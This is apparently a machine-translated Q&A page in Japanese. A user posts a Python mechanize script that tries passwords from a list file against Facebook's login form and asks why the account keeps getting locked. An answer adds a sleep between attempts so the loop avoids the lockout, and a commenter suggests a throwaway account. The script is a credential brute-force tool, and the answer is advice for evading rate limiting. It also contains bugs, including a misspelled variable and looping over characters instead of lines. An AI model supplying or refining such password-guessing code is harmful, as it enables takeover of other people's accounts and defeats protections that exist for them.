2017-08-01 6 views
-1

スクリプトをパスワードを取得しようとした後、私のFacebookアカウントがロックされました(私のアカウントのパスワードはすでに分かっています)。私は私のpythonスクリプトに問題があるのですか、それとも間違って使用しようとしていますか?Facebookアカウントのパスワードを取得しようとして頻繁に私をロックする

スクリプト:

passwordsfile = open('file.txt','r') 
for pwd in psswordsfile.read(): 
    br = mechanize.Browser() 
    br.set_handle_robots(False) 
    br.addheader = ['User-Agent','Firefox'] 
    br.open('https://www.facebook.com') 
    br.select_form(nr=0) 
    br.form['email'] = "[email protected]" 
    br.form['pass'] = pwd 
    sub = br.submit() 
    print sub.geturl() 
+0

ありがとうございます。しかし、2回の試合の間に何回試してみてください。 – alan

答えて

0

このエラーは簡単です。 「あまりにも頻繁に試行する」とは、X時間でリクエストが多すぎるということです。繰り返しの間にsleepする必要があります。

from time import sleep 

passwordsfile = open('file.txt','r') 
for pwd in psswordsfile.read(): 
    br = mechanize.Browser() 
    br.set_handle_robots(False) 
    br.addheader = ['User-Agent','Firefox'] 
    br.open('https://www.facebook.com') 
    br.select_form(nr=0) 
    br.form['email'] = "[email protected]" 
    br.form['pass'] = pwd 
    sub = br.submit() 
    print sub.geturl() 
    sleep(5) # 5 seconds 

反復回数によっては、5秒では不十分な場合があります。これは試行錯誤の問題です。

+0

「投げ捨て」のアカウントを使用することも賢明かもしれません。私はFacebookが物事を自分のサイトに対してスクリプティングするのが大好きだとは思っていません。 [Alan](https://stackoverflow.com/users/8202639/alan)のアカウントに何か価値がある場合、アカウントが失われる可能性があります。 –

+0

ありがとうございますが、5秒間スリープしても私のアカウントは閉鎖されていませんでした。 – alan

+2

@alan自分自身を引用してみましょう: "あなたが持っている反復回数によっては、5秒では十分ではないかもしれません。エラー。" – DeepSpace

関連する問題